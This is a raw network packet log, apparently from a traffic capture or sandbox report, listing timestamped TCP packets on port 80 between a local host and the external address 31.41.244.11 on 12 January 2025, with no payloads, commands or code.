Jan 12, 2025 17:39:14.818567038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.818572044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.818572044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.818588972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.818634033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.875566959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875595093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875607014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875619888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875653982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875664949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875675917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875686884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875699043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875780106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.875780106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.875812054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875825882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875845909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875858068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875869989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875880957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.875890017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.875890017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876035929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876100063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876116037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876128912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876147032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876158953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876171112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876183033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876194000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876197100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876197100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876200914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876214027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876230001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876243114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876251936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876266003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876266956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876266956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876288891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876302004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876312017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876327038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876331091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876331091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876331091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876332998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876344919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876355886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876378059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876378059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876393080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876404047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876414061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876424074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876435041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876442909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876442909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876446009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876457930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876470089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876490116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876492023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876499891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876512051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876523972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876533985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876543999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876543999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876544952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876559019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876584053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876590967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876602888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876614094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876622915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876622915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876626015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876638889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876682997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876683950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876710892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876722097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876732111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876744032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876754999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876766920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876777887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876789093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876789093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876794100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.876826048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.876862049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.903775930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.903839111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.903889894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.903923988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.903978109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.903991938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.903991938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904090881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904144049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904153109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904179096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904198885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904232025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904267073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904289007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904289007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904310942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904314995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904347897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904386044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904388905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904388905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904434919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904436111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904488087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904517889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904548883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904548883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904551029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904596090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904596090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904608965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904640913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904655933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904694080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904742002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904742002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904742956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904777050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904809952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904820919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904820919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904846907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904881954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904896021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904896021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904915094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904947996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904953957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904953957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.904978037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.904998064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905014992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905047894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905062914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905062914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905082941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905112982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905117989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905133963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905150890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905178070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905188084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905217886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905231953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905245066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905249119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905258894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905286074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905304909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905323029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905349970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905359030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905391932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905402899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905402899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905427933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905461073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905474901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905474901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905495882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905529976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905540943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905540943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905564070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905596018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905611038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905646086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905668974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905668974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905678988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905699015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905713081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905747890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905762911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905762911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905783892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905817032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905833960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905833960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905850887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905884027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905884981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905919075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905924082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905924082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905952930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.905962944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.905987024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906021118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906038046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906038046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906055927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906094074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906109095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906109095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906177044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906191111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906210899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906243086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906248093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906261921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906280041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906297922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906313896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906351089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.906358004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906358957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.906394958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122121096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122160912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122195959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122248888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122282028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122313023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122318983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122353077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122366905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122366905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122400045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122406960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122442007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122454882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122476101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122502089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122508049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122529984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122555017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122560024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122596025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122606039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122631073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122673035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122673035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122704029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122739077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122755051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122771978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122791052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122806072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122833967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122849941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122859001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122904062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122911930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122946024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.122972012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.122980118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123008966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123013973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123059034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123059034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123068094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123097897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123141050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123141050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123147964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123182058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123210907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123225927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123225927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123245001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123255014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123296022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123301029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123359919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123361111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123399019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123413086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123431921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123450041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123477936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123482943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123512983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123548031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123550892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123550892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123584986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123584986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123616934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123650074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123658895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123658895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123681068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123693943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123714924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123730898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123749018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123764038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123780966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123794079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123816013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123826981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123850107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123867035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123898983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123934031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123940945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123940945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123966932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.123980045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.123997927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124025106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124042988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124048948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124083996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124099016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124113083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124146938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124154091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124154091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124201059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124234915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124244928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124244928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124269009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124274969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124301910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124329090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124339104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.124341965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124382973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.124389887 CET	80	49975	31.41.244.11	192.168.2.7
